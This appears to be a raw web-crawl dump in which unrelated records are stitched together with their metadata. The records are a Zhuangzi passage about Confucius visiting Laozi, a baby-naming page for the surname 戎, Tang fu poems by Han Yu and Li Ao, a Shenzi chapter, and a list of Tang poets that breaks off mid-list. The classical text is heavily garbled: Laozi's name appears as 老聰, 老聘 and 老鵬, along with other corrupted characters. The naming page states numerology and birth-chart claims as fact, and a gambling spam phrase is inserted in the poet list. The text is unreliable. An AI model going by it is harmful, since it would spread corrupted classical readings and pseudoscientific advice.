之走。彼知美殯而不知臏之所以美。惜乎,而夫子其窮哉。孔子行年五十有一,而不聞道,乃南之沛見老鵬。老聰曰:子來乎?吾聞子北方之賢者也,子亦得道乎?孔子曰:未得也。老子曰:子惡乎求之哉?曰:吾求之於度數,五年而未得。老子曰:子又惡乎求之哉?曰:吾求之於陰陽,十有二年而未得。老子曰:然。使道而可獻,則人莫不獻之於其君;使道而可進,則人莫不進之於其親;使道而可以告人,則人莫不告其兄弟;使道而可以與人,則人莫不與其子孫。然而不可者,無他也,中無主而不止,外無正而不行。由中出者,不受於外,聖人不出;由外入者,無主於中,聖人不隱。名,公器也,不可多取。仁義,先生之蓮廬也,止可以一宿而不可久處,觀而多責。古之至人,假道於仁,託宿於義,以遊逍遙之墟,食於苟簡之田,立於不貸之圃。逍遙,一無為也;苟簡,易養也;不貸,無出也。古者謂是釆真之遊。以富為是者,不能讓祿;以顯為是者,不能讓名;親權者,不能與人柄。操之則慄,舍之則悲,而一無所鑒,以閥其所不休者,是天之戮民也。怨恩取與諫教生殺,八者,正之器也,唯循大變無所湮者為能用之。故曰:正者,正也。其心以為不然者,天門弗開矣。孔子見老聰而語仁義。老聘曰:夫播棣咪目,則天地四方易位矣;蚊虻嗜膚,則通昔不寐矣。夫仁義僭然乃憤吾心,亂莫大焉。吾子使天下無失其朴,吾子亦放風而動,總德而立矣,又奚傑然若負建鼓而求亡子者邪?夫鵠不日浴而白,烏不日黔而黑。黑白之朴,不足以為辯,名譽之觀,不足以為廣。泉涸,魚相與處於陸,相吻以濕,相濡以沫,不若相忘於江湖,孔子見老聰歸,三日不談。弟子問曰:夫子見老聰,亦將何規哉?孔子曰:吾乃今於是乎見龍。龍,合而成體,散而成章,乘乎雲氣而養乎陰陽。予口張而不能嘖,予又何規老聰哉。子貢曰:然則人固有尸居而龍見,雷聲而淵默,發動如天地者乎?賜亦可得而觀乎?遂以孔子聲見老聘o 老聘方將倨堂而應,微曰:予年運而往矣,子將何以戒我乎?子貢曰:夫三王五帝之治天下不同,其係聲名一也。而先生獨以為非聖人,如何哉?老聘曰:小子少進,子何以謂不同?對曰:堯授舜,舜授禹,禹用力而湯用兵,文王順紂而不敢逆,武王逆紂而不肯順,故日不同。老聰曰:小子少進,余語汝三皇五帝之治天下。黃帝之治天下,使民心一,民有其親死不哭而民不非也。堯之治天下使民心親,民有為其親殺其殺而民不非也。舜之治天下,使民心競,民孕婦十月生子,子生五月而能言,不至乎孩而始誰,則人始有夭矣。禹之治天下-, 使民心變,人有心而兵有順,殺盜非殺,人自為種而天下耳,是以天下大駭,儒墨皆起。其作始有倫,而今乎婦女,何言哉?余語汝,三皇五帝之治天下,名日治之,而亂莫甚焉。三皇之知,上悖日月之明,下睽山川之精,中墮四時之施。其知僭於區薑之尾,鮮規之獸,莫得安其性命之情者,而猶自以為聖人,不可恥乎,其無恥也?子貢蹴蹴然立不安。孔子謂老聘曰:丘治《詩》 、《 書》 、《 禮》 、《 樂》 、《 易》 、《 春秋》 六經,自以為久矣,孰知其故矣,以奸者七十二君,論先王之道而明周、召之邊,一君無所鉤用。甚矣夫,人之難說也,道之難明邪?老子曰:幸矣,子之不過治世之君也。夫六經,先王之陳邇也,豈其所以邊哉。今子之所言,猶邊也。夫邇,履之所出,而邊豈履哉?夫白鴨之相視,眸子不運而風化;蟲,雄嗚於上風,雌應於下風而風化;類自為雌雄,故風化。性不可易,命不可變,時不可止,道不可壅。苟得於道,無自而不可;失焉者,無自而可。孔子不出三月,復見曰:丘得之矣。烏鵲孺,魚傳沫,細要者化,有弟而兄啼。久矣夫丘不與化為人。不與化為人,安能化人。老子曰:可。丘得之矣。","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/gudianxiaoshuo.com\/%E5%BA%8F_0003-6\/","date":"2018-03-24T00:08:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649508.48\/warc\/CC-MAIN-20180323235620-20180324015620-00715.warc.gz","language":"lzh","language_score":0.4865347147,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4865347146987915, \"cmn_Hani_score\": 0.4054778516292572, \"nan_Hani_score\": 0.06502711772918701, \"wuu_Hani_score\": 0.013786318711936474}","num_words":26,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.435,"perplexity_score":500.0,"cluster_detection":1} +{"text":"戎姓女孩起名的方法是怎么样的呢?怎么给戎姓女孩起一个好的名字呢?好听的戎姓女孩名字有哪些呢?现在金宝贝起名网为您介绍戎姓女孩起名大全的相关文章。\n戎姓女孩起名大全\n1、出自姜姓,以封国国名为氏。周朝时有戎国,为齐国附庸。戎国灭亡之后,其公族后裔以国名为姓,遂为戎氏。\n2、以职官为氏。周朝时有掌管军械的官员名戎右,其后代子孙亦称戎氏,成为戎姓一支。\n3、出自宋微子之后,其子孙以戎为姓。据《潜夫论》以及《姓氏考略》上记载,上古周朝时(公元前11世纪),周成王平定武庚叛乱后,把商的旧都周围地区分封给纣王的庶兄微子启,定国号为宋,建都于商丘,其后世子孙以戎为姓,这是正宗戎姓的一支,望族居江陵郡(今湖北省江陵县)。\n4、出自少数民族。殷、商、春秋时都有戎族:\n1、姓名应恰当地配合本人的生辰八字。取名前应对生辰八字进行推算,找出命运中的喜用神(对命主有利的五行),通过姓名对命运加以补救。\n2、姓名应有吉利的数理意义。姓名好坏不在字义,而在数理,因为叫\"豪杰\"的人并不见得就是豪杰,叫\"富贵\"的人并不见得就富贵,取名就要做到数理\"吉\",至少也应该\"半吉\"。\n3、给戎姓女孩子取名应避开女性孤独运的数理,以免造成婚姻方面的不幸。如果取一好名,还能减轻先天八字中婚姻方面不良信息的影响。\n4、给戎姓宝宝取名要做到\"六忌一便于\"。六忌:一忌太易重名,二忌不辨性别,三忌谐音不雅,四忌充满稚气,五忌花枝招展,六忌一字多音;一便于:便于书写和认读,避免太生僻的字。为了尽可能避免重名,我们建议少取单字名,多取双字名,甚至三字名也可。\n5、字形要均衡和谐,声调要雅韵动听,寓意要丰富简洁。\n戎珉显(90 分) 戎泓畅(95 分) 戎庭霞(90 分) 戎昱诚(95 分)\n戎信弛(100分) 戎贞论(90 分) 戎昭臻(93 分) 戎芝廷(90 分)\n戎昵谚(93 分) 戎玲孜(90 分) 戎秋百(100分) 戎益黛(90 分)\n戎展伶(90 分) 戎祟以(98 分) 戎凌含(90 分) 戎建帆(100分)\n戎姝百(100分) 戎容乐(93 分) 戎娟萌(91 分) 戎韦辉(90 分)\n戎垣臻(93 分) 戎珊慧(93 分) 戎俊菁(95 分) 戎帅华(95 分)\n戎昱靓(90 分) 戎纾立(98 分) 戎娟序(90 分) 戎昱朵(100分)\n戎玺嫒(91 分) 戎芃兴(90 分) 戎宣滋(95 分) 戎姿语(95 分)\n戎娜佚(90 分) 戎奕伊(100分) 戎芸帜(93 分) 戎宸彤(90 分)\n戎亮嫣(95 分) 戎勇兴(90 分) 戎盈萍(95 分) 戎叙叶(90 分)\n戎俊丽 戎秀月 戎紫嫣 戎昭洁 戎怡萱 戎霞艳 戎丽娜 戎利娟 戎秀妍 戎钰娅 戎琳舒 戎旖倩 戎雅琳 戎彦英 戎琳玲 戎欣雪 戎莹莹 戎星茹 戎婷妤 戎欣美 戎怡衍 戎秀佑 戎慕雪 戎睿莹 戎矜艳 戎孜怡 戎韵文 戎庆媛 戎建文 戎楷文 戎婷岚 戎龄文 戎伟文 戎月蓉 戎铎玉 戎敏玉 戎思婷 戎静文 戎碧红 戎怡筠 戎繁燕 戎琳澜 戎嫣然 戎逸琳 戎建霞 戎喜琳 戎新丽 戎佳妍 戎鲜妹 戎晨琳 戎永婵 戎娟琳 戎花花 戎姿妹 戎桂芳 戎凤玲 戎敬玲 戎洪琼 戎思娟 戎娜 戎裴瑶 戎成英 戎萍 戎苏丽 戎莉萍 戎芯怡 戎筠梅 戎又娥 戎笑悦 戎雯倩 戎万文 戎菁英 戎玲玲 戎恺悦 戎洪妍 戎小艳 戎莞莹 戎京燕 戎嘉玉 戎炎红 戎碧芳 戎雪霞 戎鲜艳 戎安英 戎翠红 戎嫣悦 戎萌冉 戎肖燕 戎竞文 戎红琼 戎仁美 戎静艳 戎茹洁 戎俊颖 戎刘燕 戎镡怡 戎小莉 戎悦含 戎凤怡 戎津琳 戎媛靓 戎欣蓉 戎何娟 戎思文 戎丽婷 戎乐美 戎翠茹 戎玉莹 戎岳瑶 戎小霞 戎梅芳 戎梓颖 戎景怡 戎娅姬 戎炜文 戎桂丽 戎轩怡 戎素洁 戎建梅 戎靓莹 戎卡娜 戎悦晗 戎尉媛 戎佳颖 戎思颖 戎信妍 戎幸琳 戎怡秀 戎语嫣 戎樾红 戎谦玉 戎瑶瑶 戎洪花 戎昱玉 戎梦琴 戎亦婷 戎玲晴 戎明琴 戎小文 戎瑞英 戎靖颖 戎学梅 戎悦祖 戎婷雅 戎春丽 戎娟平 戎英 戎明燕 戎妍欣 戎兆茹 戎茹 戎露芬 戎美莉 戎健梅 戎小燕 戎羽婵 戎萍 戎莉华 戎慧芳 戎淑芬 戎焙文 戎成芳 戎亚琴 戎艳茹 戎娅兰 戎海文 戎心怡 戎兴玲 戎洪红 戎嘉颖 戎琼 戎诗秀 戎伊琳 戎萧婷 戎笑婷 戎思玲 戎蕊芳 戎观英 戎礼玲 戎约倩 戎佳悦 戎燕玲 戎莉娜 戎奇琼 戎绍颖 戎守瑛 戎秀凝 戎乃文 戎乙婷 戎香美 戎晓琴 戎琼芬 戎梦颖 戎瑶琼 戎浩文 戎媛俜 戎红洁 戎美 戎芬倩 戎秀梅 戎译文 戎芮莹 戎小玲 戎霄悦 戎彩文 戎雪玲 戎克文 戎健妹 戎文艳 戎秋红 戎会霞 戎兴红 戎芊怡 戎淑梅 戎碧玲 戎琳冰 戎婧琪 戎钰瑶 戎燕儿 戎术燕 戎雨琳 戎湘媛 戎雯丽 戎涵雪 戎文萍 戎焕文 戎东娥 戎雪燕 戎倩 戎美琴 戎艳蓉 戎立霞 戎毓玲 戎昱婧 戎美雪 戎廷玉 戎德琳 戎骨怡 戎春燕 戎荥莹 戎长红 戎剑芳 戎婕婷 戎徐媛 戎新艳 戎予婷 戎梓悦 戎翼燕 戎怡琨 戎凤玲 戎殷梅 戎莉莎 戎锦雪 戎黛琳 戎萨莹 戎婧漪 戎雯秀 戎亚茹 戎紫嫣 戎甜妍 戎海文 戎煦媛 戎娥妹 戎莞琼 戎雨梅 戎永燕 戎学红 戎建婷 戎悦悦 戎爱雪 戎学玲 戎怡歌 戎春花 戎冰倩 戎光萍 戎婧淼 戎紫丹 戎傲翔 戎莉姿 戎婧轶 戎岚莹 戎莹静 戎许洁 戎江莹 戎美英 戎瑞莹 戎心怡 戎小梅 戎欣玉 戎巧玲 戎月怡 戎烟婷 戎亚妍 戎馨洁 戎新燕 戎一婷 戎淳文 戎欣妍 戎春艳 戎泽琼 戎淑婷 戎曦莹 戎丽英 戎文美 戎倚玲 戎露倩 戎小媛 戎瑞燕 戎玉芳 戎怡俏 戎怡茵 戎锋丽 戎婧羽 戎嘉玲 戎淑琴 戎奕妍 戎宪芳 戎洁 戎红燕 戎亚娟 戎西萍 戎瀚文 戎妍滢 戎燕婷 戎康霞 戎仲英 戎奕琳 戎怡苏 戎玲飞 戎怡美 戎倩莲 戎可秀 戎发文 戎小艳 戎钰婷 戎霞春 戎秀英 戎婧怡 戎弘悦 戎夙莹 戎燕梅 戎卓莹 戎蓉 戎金丽 戎烽萍 戎龄悦 戎凯燕 戎鑫莹 戎志南 戎燕栝 戎精茹 戎乐瑶 戎巧萍 戎俊茹 戎静媛 戎博媛 戎怡国 戎绍英 戎钰芳 戎桐燕 戎丽莉 戎小英 戎常琴 戎纹洁 戎秀樾 戎怡葛 戎慧蓉 戎倩倩 戎宝玲 戎婷萱 戎犹婧 戎江红 戎戍英 戎洁丽 戎淑娟 戎潘文 戎红燕 戎美燕 戎悦箢 戎婷萱 戎玉洁 戎怡 戎娅雪 戎朵怡 戎娅 戎泽玉 戎紫洁 戎钰洁 戎秀娟 戎钰茹 戎云霞 戎丽娅 戎应文 戎兰玉 戎家莉 戎秀文 戎心洁 戎韵文 戎亦雪 戎一文\n标签:","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/www.ssyule.com\/baobaoqiming\/16919.html","date":"2020-05-26T10:06:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347390755.1\/warc\/CC-MAIN-20200526081547-20200526111547-00312.warc.gz","language":"lzh","language_score":0.4058612287,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4058612287044525, \"cmn_Hani_score\": 0.3562559187412262, \"jpn_Jpan_score\": 0.11580538749694824, \"nan_Hani_score\": 0.050678279250860214, \"yue_Hani_score\": 0.04163774847984314, \"wuu_Hani_score\": 0.027015820145606995}","num_words":486,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.286,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.489,"perplexity_score":500.0,"cluster_detection":1} +{"text":"《復志賦》〈有序〉唐·韓愈\n愈既從隴西公平汴州,其明年七月,有負薪之疾,退休於居,作《復志賦》。其辭曰:\n居悒悒之無解兮,獨長思而永歎。「豈朝食之不飽兮, 寧冬裘之不完。」昔余之既有知兮,誠坎軻而艱難。當 歲行之未復兮,從伯氏以南遷。凌大江之驚波兮,過 洞庭之漫漫。至曲江而乃息兮,逾南紀之連山。嗟日 月其幾何兮,攜孤嫠而北旋。值中原之有事兮,將就 食於江之南。始專專於講習兮,非古訓。為無所用其 心。窺前靈之逸跡兮,超孤舉而幽尋。既識路又疾驅 兮,孰知余力之不任?考古人之所佩兮,閱時俗之所 服。忽忘身之不肖兮,謂青紫其可拾。自知者為明兮, 故吾之所以為惑。擇吉日余西征兮,亦既造夫京師。 君之門不可逕而入兮,遂從試於有司。惟名利之都 府兮,羌眾人之所馳。競乘時而附勢兮,紛變化其難 推。全純愚以靖處兮,將與彼而異宜。欲奔走以及事 兮,顧初心而自非。朝騁騖乎書林兮,夕翱翔乎藝苑。 諒卻步以圖前兮,不浸近而愈遠。「哀白日之不與吾 謀兮,至今十年其猶初。豈不登名於一科兮,曾不補 其遺餘。」進既不獲其志願兮,退將遁而窮居。排國門 而東出兮,慨余行之舒舒。時憑高以迴顧兮,涕泣下 之交如。戾洛師而悵望兮,聊浮游以躊躇。假大龜以 視兆兮,求幽貞之所廬。甘潛伏以老死兮,不顯著其 名譽。非夫子之洵美兮,吾何為乎浚之都。小人之懷 惠兮,猶知獻其至愚。固余異於牛馬兮,寧止乎飲水 而求芻。伏門下而默默兮,竟歲年以康娛。時乘間以 獲進兮,顏垂歡而愉愉。仰盛德以安窮兮,又何忠之 能輸?昔余之約吾心兮,誰無施而有獲?疾貪佞之洿 濁兮,曰「吾其既勞而後食。」懲此志之不修兮,愛此言 之不可忘。情怊悵以自失兮,心無歸之茫茫。苟不內 得其如斯兮,孰與不食而高翔?抱關之阨陋兮,有肆 志之揚揚。伊尹之樂於畎畝兮,焉貴冨之能當。恐誓 言之不固兮,斯自訟以成章。往者不可復兮,冀來今 之可望。\n《幽懷賦》〈有序〉李翱\n朋友有相歎者,賦《幽懷》以答之。其詞曰:\n「眾囂囂而雜處兮,或嗟老而羞卑。視予心之不能然 兮,慮行道之猶非。倘中懷之自得兮,終老死其何悲! 昔孔門之多賢兮,惟回也為庶幾。越群情以獨去兮, 指聖域而高追。固簞食與瓢飲兮,寧服輕而駕肥。望 若人其何如兮,慚吾德之纖微。躬不田而飽食兮,妻 不織而豐衣。援聖賢而比度兮,何僥倖之能希?念所」 懷之未展兮,非悼己而陳私。自祿山之始兵兮,歲周 甲而未夷。何神堯之郡縣兮,乃家傳而自持?稅生人 而育卒兮,列高城以相維。何茲勢之可久兮,宜永念 而遐思。有苗之逆命兮,舞《干羽》以來之。惟政刑之既 修兮,無遠邇而咸歸。當高祖之初起兮,提一旅之羸 師。能順天而用眾兮,竟掃寇而戡隋。況天子之神明 兮,有列祖之前規。划弊政而還本兮,如反掌之易為。 苟廟堂之治德兮,何下邑之能違。哀余生之賤遠兮, 抱深懷而告誰?嗟此誠之不達兮,惜此道而無遺。獨 中夜以潛歎兮,匪吾憂之所宜。\n《釋懷賦》〈有序〉前人\n讀黨錮傳,哀直道之多,尤不容作《釋懷賦》。其辭曰:\n「懷夫人之鬱鬱兮,歷晦蚤而傷離。吾心直以無差兮, 惟上天其能知。袤於德而必好兮,忠何尤而甚疑?彼 陳詞之多人兮,胡不去眾而訊之?」進盡言之不信兮, 退遠去而不獲。弗驗實而考省兮,固余道之所厄。昔 師商之親聖兮,德既均而行革。惟肝腸之有殊兮,守 不同其何責?願披懷而竭聞兮,道既塞而已行。路非 「險而不通兮,人忘我而異情。王章直而獄死兮,李固 忠而陷刑。自古世之所悲兮,矧末俗之衰誠。哀貞心 之潔白兮,疾苗莠之紛生。令農夫以手鉏兮,反翦去 乎嘉莖。豈不指穢而語之兮,佯瞪瞢而不肯聽。欲釋 去而不忍兮,終留滯以何成?當晨夕而步丘兮,仰白 日而自明。處一世之若流兮,何久求而傷情。」樂此言 而自抑兮,壯大觀於兢生。拔馨香之茝蘭兮,樹蒿蔚 以羅列。斥通路而使蕪兮,戀棘逕之中絕。置《春秋》而 徇心兮,羌與此其奚別。昔誓辭而約文兮,期共死以 皆居。嗟所守之既異兮,乃漫汗而遺初。心皓白而不 容兮,非市直而望利。忠不顧兮立忘,交不同而行棄。 悲夫!不徇己而必仇兮,諒非水火其何畏?猥吾行之 不然兮,直愧心而懼義。嘉山松之蒼蒼兮,歲苦寒而 亦瘁。吾固樂其貞剛兮,夫何尤乎小異。欲靜默而絕 聲兮,豈不悼厥初之所志?抑此懷而不可兮,終永夜 以歔欷。\n《述初賦》〈有序〉梁·肅\n予幼而漂流,遂寓於江海之上,與鳧雁為伍有年矣。或祿仕以代樵牧,其暇則以群籍自娛。又嘗染重膇疾,每求長桑氏之術以為療,其他未之思也。方俟間,則追《尚平五嶽》之遊。無幾何,會明詔以監","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/zh.m.wikisource.org\/wiki\/Page:Gujin_Tushu_Jicheng,_Volume_390_(1700-1725).djvu\/28","date":"2020-08-13T11:50:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738982.70\/warc\/CC-MAIN-20200813103121-20200813133121-00031.warc.gz","language":"lzh","language_score":0.839582324,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8395823240280151, \"nan_Hani_score\": 0.0945410206913948, \"cmn_Hani_score\": 0.053445395082235336}","num_words":77,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.448,"perplexity_score":500.0,"cluster_detection":1} +{"text":"﹤首页 > > 子部 > 诸子 > 慎子 > 民杂\n民杂\n民雜處而各有所能。所能者不同。此民之情也。大君者。太上也。兼畜下者也。下之所能不同。而皆上之用也。是以大君因民之能為資。盡包而畜之。無能去取焉。是故不設一方以求於人。故所求者無不足也。大君不擇其下。故足。不擇其下。則易為下矣。易為下則莫不容。莫不容故多下。多下之謂太上。君臣之道。臣事事而君無事。君逸樂而臣任勞。臣盡智力以善其事。而君無與焉。仰成而巳。故事無不治。治之正道然也。人君自任。而務為善以先下。則是代下負任蒙勞也。臣反逸矣。故曰。君人者。好為善以先下。則下不敢與君爭為善以先君矣。皆私其所知以自覆掩。有過。則臣反責君。逆亂之道也。君之智。未必最賢於眾也。以未最賢而欲以善盡被下。則不贍矣。若使君之智最賢。以一君而盡贍下則勞。勞則有倦。倦則衰。衰則復反於不贍之道也。是以人君自任而躬事。則臣不事事。是君臣易位也。謂之倒逆。倒逆則亂矣。人君苟任臣而勿自躬。則臣皆事事矣。是君臣之順。治亂之分。不可不察也。","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/m.guoxuedashi.com\/a\/516iizz\/14118l.html","date":"2020-09-29T11:42:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401641638.83\/warc\/CC-MAIN-20200929091913-20200929121913-00481.warc.gz","language":"lzh","language_score":0.7455801964,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7455801963806152, \"cmn_Hani_score\": 0.11725863069295883, \"nan_Hani_score\": 0.038209427148103714, \"jpn_Jpan_score\": 0.02816612832248211}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.746,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或多个下面的关键词,搜索相关资料。香港挂牌玄机。也可直接点\"搜索资料\"搜索整个问题。\n唐朝的诗人有安鸿渐 白居易 白敏中 白行简 包何 包佶 包融 包颖 宝月 鲍防 鲍家四弦 鲍君徽 鲍溶 毕乾泰 毕耀 辨才 布燮 步非烟 蔡孚 蔡京 蔡希寂 蔡希周 蔡隐丘 蔡允恭 曹汾 曹松 曹唐 曹修古 曹邺 曹著 岑参 岑文本 岑羲 查文徽 柴夔 长孙翱 长孙氏 长孙无忌 长孙正隐 长孙铸 长孙佐辅 长屋 常楚老 常达 常非月 常衮 常浩 常建常沂 畅当 晁采 朝衡 陈黯 陈标 陈昌言 陈乘 陈琡 陈存 陈璠 陈讽 陈寡言 陈光 陈沆 陈季 陈季卿 陈嘉言 陈峤 陈京 陈九流 陈贶 陈去疾 陈润 陈上美 陈师穆 陈叔达 陈孙 陈陶 陈通方 陈希烈 陈彦 陈彦博 陈翊 陈羽 陈玉兰 陈元初 陈元光 陈元裕 陈至 陈翥 陈子昂 陈子良 成辅端 成彦雄 成真人 程长文 程贺 程洛宾 程弥纶 程行谌 程紫霄 储光羲 储嗣宗 楚儿 褚朝阳 褚亮 褚遂良 褚琇 褚载 处默 慈恩寺沙门 崔安潜 崔备 崔邠 崔成甫 崔琮 崔澹 崔道融 崔涤 崔峒 崔亘 崔公信 崔公远 崔恭 崔瓘 崔珪 崔国辅 崔颢 崔何 崔护 崔怀宝 崔惠童 崔绩 崔季卿 崔郊 崔居俭 崔珏 崔立之 崔橹 崔璐 崔沔 崔敏童 崔璞 崔翘 崔日用 崔日知 崔融 崔善为 崔尚 崔少玄 崔湜 崔氏 崔枢 崔曙 崔颂 崔素娥 崔泰之 崔涂 崔信明 崔兴宗 崔轩 崔萱 崔玄亮 崔玄童 崔铉 崔涯 崔郾 崔液 崔莺莺 崔膺 崔庸 崔禹锡 崔元范 崔元翰 崔元略 崔知贤 崔子向 崔紫云 崔宗之 大易 大愚 戴叔伦 戴司颜 耽章 澹交 道恭 道会 德宗宫人 邓洵美 狄归昌 狄焕 狄仁杰 丁居晦 丁棱 丁位 丁仙芝 丁元和 丁泽 东方虬 董思恭 豆卢复 豆卢回 豆卢荣 窦参 窦常 窦巩 窦弘馀 窦冀 窦梁宾 窦蒙 窦牟 窦群 窦叔向 窦威 窦希玠 窦庠 窦洵直 独孤及 独孤良弼 独孤良器 独孤申叔 独孤实 独孤授 独孤绶 独孤铉 杜常 杜甫 杜羔 杜光庭 杜兼 杜建徽 杜牧 杜审言 杜诵 杜頠 杜荀鹤 杜淹 杜俨 杜易简 杜奕 杜元颖 杜正伦 杜之松 杜周士 段成式 段谷 段弘古 段怀然 段文昌 法宣 法照 法振 樊忱 樊晃 樊骧 樊珣 樊阳源 樊宗师 繁知一 范朝 范传正 范传质 范灯 范尧佐 范元凯 方干方泽 房白 房琯 房千里 房融 房孺复 费冠卿 丰干 封敖 封孟绅 封行高 封彦卿 冯道 冯道之 冯衮 冯涓 冯伉 冯宿 冯涯 冯延巳 冯著 符载 富嘉谟 高弁 高傪 高蟾 高崇文 高峤 高瑾 高力士 高辇 高骈 高球 高璩 高衢 高绍 高适 高退之 高湘 高越 高拯 高正臣 高铢 戈牢 耿湋 耿玉真 弓嗣初 公乘亿 公孙杲 古之奇 顾朝阳 顾非熊 顾封人 顾况 顾云 顾在镕 关盼盼 贯休 广宣 归登 归仁 郭澹 郭夔 郭利贞 郭良 郭良骥 郭绍兰 郭受 郭向 郭圆 郭郧 郭震 郭正一 郭周藩 郭子仪 郭遵 海顺 海印 含曦 寒山 韩察 韩垂 韩琮 韩定辞 韩溉 韩翃 韩滉 韩濬 韩思复 韩思彦 韩偓 韩熙载 韩湘 韩休 韩仪 韩屿 韩愈 韩昭 韩昭裔 韩仲宣 浩虚舟 何昌龄 何承裕 何扶 何鸾 何频瑜 何儒亮 何希尧 何象 何元上 何兆 何仲举 何仲宣 和凝 贺敱 贺朝 贺兰进明 贺兰朋吉 贺遂亮 贺知章 恒超 红绡妓 洪子舆 侯道华 侯冽 侯氏 胡玢 胡杲 胡皓 胡令能 胡骈 胡权 胡宿 胡雄 胡幽贞 胡元范 胡曾 胡证 胡直钧 护国 扈载 花蕊夫人 怀楚 怀濬 怀素 皇甫澈 皇甫冉 皇甫湜 皇甫曙 皇甫松 皇甫镛 皇甫曾 黄巢 黄崇嘏 黄幡绰 黄麟 黄颇 黄损黄滔 慧净 慧偘 慧宣 霍总 吉皎 吉中孚 纪唐夫 纪元皋 贾驰 贾躭 贾岛 贾棱 贾谟 贾弇 贾邕 贾曾 贾至 贾宗 江妃 江为 姜皎 姜晞 蒋防 蒋肱 蒋涣 蒋冽 蒋氏 蒋挺 蒋维翰 蒋贻恭 焦郁 皎然 解琬 金昌绪 金地藏 金厚载 金真德 京兆女子 荆冬倩 荆浩 景审 景云 净显 敬括 康骈 康庭芝 柯崇 可朋 可止 孔德绍 孔绍安 孔温业 寇泚 寇坦 蒯希逸 来鹄 来济 蓝采和 郎士元 郎馀令 冷朝阳 黎逢 李翱 李白 李百药 李昪 李播 李伯鱼 李渤 李搏 李昌符 李昌邺 李忱 李程 李憕 李澄之 李赤 李崇嗣 李从谦 李从善 李从远 李存勖 李旦 李德裕 李洞 李端 李昉 李峰 李逢吉 李福业 李甘 李缟 李暠 李肱 李观 李浩 李浩弼 李贺李亨 李恒 李宏皋 李縠 李祜 李华 李怀远 李回 李吉甫 李季何 李家明 李嘉祐 李兼 李建 李建勋 李绛 李峤 李节 李节度姬 李京 李景 李景伯 李景俭 李景让 李璟 李敬伯 李敬方 李敬玄 李迥秀 李九龄 李玖 李君房 李君何 李康成 李伉 李克恭 李夔 李廓 李谅 李林甫 李隆基 李茂复 李梦符 李泌 李秘 李密 李明远 李溟 李穆 李讷 李沛 李朋 李频 李栖筠 李颀 李琪 李潜 李清 李衢 李群玉 李嵘 李如璧 李山甫 李善夷 李商隐 李韶 李涉 李绅 李深 李升 李士元 李世民李适 李适 李适之 李收 李纾 李舜弦 李竦 李损之 李涛 李体仁 李廷璧 李微 李汶儒 李渥 李希仲 李遐周 李贤 李咸 李咸用 李显 李岘 李行敏 李行言 李休烈 李旭 李续 李宣古 李宣远 李询 李珣 李沇 李衍 李彦远 李阳冰 李曜 李冶 李邺 李晔 李祎 李夷简 李嶷 李乂 李义府 李益 李应 李郢 李邕 李幼卿 李馀 李虞 李虞仲 李屿 李羽 李玉箫 李煜 李豫 李渊 李元操 李元纮 李元嘉 李远 李愿 李约 李赞华 李章 李章武 李昭象 李贞 李真 李缜 李徵古 李拯 李正辞 李正封 李治 李质 李骘 李中 李胄 李子卿 李宗闵 理莹 厉玄 利涉 莲花妓 良乂 梁德裕 梁锽 梁洽 梁升卿 梁献 梁铉 梁藻 梁震 梁知微 廖匡图 廖凝 廖融 廖有方 林楚翘 林杰 林宽 林琨 林披 林氏 林嵩 林藻 林滋 灵澈 灵一 泠然 令狐楚 令狐德棻 令狐峘 令狐挺 刘辟 刘斌 刘采春 刘沧 刘叉 刘长川 刘长卿 刘崇龟 刘崇鲁 刘得仁 刘洞 刘蕃 刘方平 刘复 刘皋 刘耕 刘谷 刘怀一 刘郇伯 刘晃 刘洎 刘济 刘驾 刘兼 刘迥 刘轲 刘暌 刘鲁风 刘璐 刘猛 刘绮庄 刘三复 刘山甫 刘商 刘昚虚 刘升 刘损 刘太冲 刘太真 刘坦 刘畋 刘庭琦 刘湾 刘威 刘希夷 刘宪 刘象 刘孝孙 刘虚白 刘言史 刘炎 刘晏 刘邺 刘祎之 刘乙 刘义度 刘幽求 刘友贤 刘禹锡 刘元叔 刘元载妻 刘媛 刘允济 刘赞 刘皂 刘章 刘昭禹 刘真 刘知几 刘舟 刘庄物 刘遵古 柳郴 柳道伦 柳公绰 柳公权 柳珪 柳浑 柳泌 柳氏 柳棠 柳中庸 柳宗元 楼颖 卢弼 卢藏用 卢崇道 卢储 卢从愿 卢拱 卢鸿一 卢怀慎 卢景亮 卢钧 卢纶 卢骈 卢频 卢求 卢群 卢汝弼 卢尚卿 卢士衡 卢士政 卢顺之 卢嗣立 卢嗣业 卢仝 卢文纪 卢渥 卢象 卢携 卢延让 卢言 卢邺 卢殷 卢溵 卢栯 卢照邻 卢肇 卢贞 卢真 卢注 卢僎 卢宗回 鲁收 陆翱 陆瀍 陆长源 陆畅 陆复礼 陆肱 陆龟蒙 陆海 陆弘休 陆坚 陆景初 陆敬 陆希声 陆扆 陆羽 陆禹臣 陆贞洞 陆贽 鹿虔扆 路德延 路贯 路洵美 闾丘均 闾丘晓 吕牧 吕群 吕太一 吕渭 吕温 吕岩 栾清 罗衮 罗立言 罗虬 罗让 罗绍威 罗泰 罗珦 罗邺 罗隐 罗颖 骆宾王 骆浚 麻温其 马戴 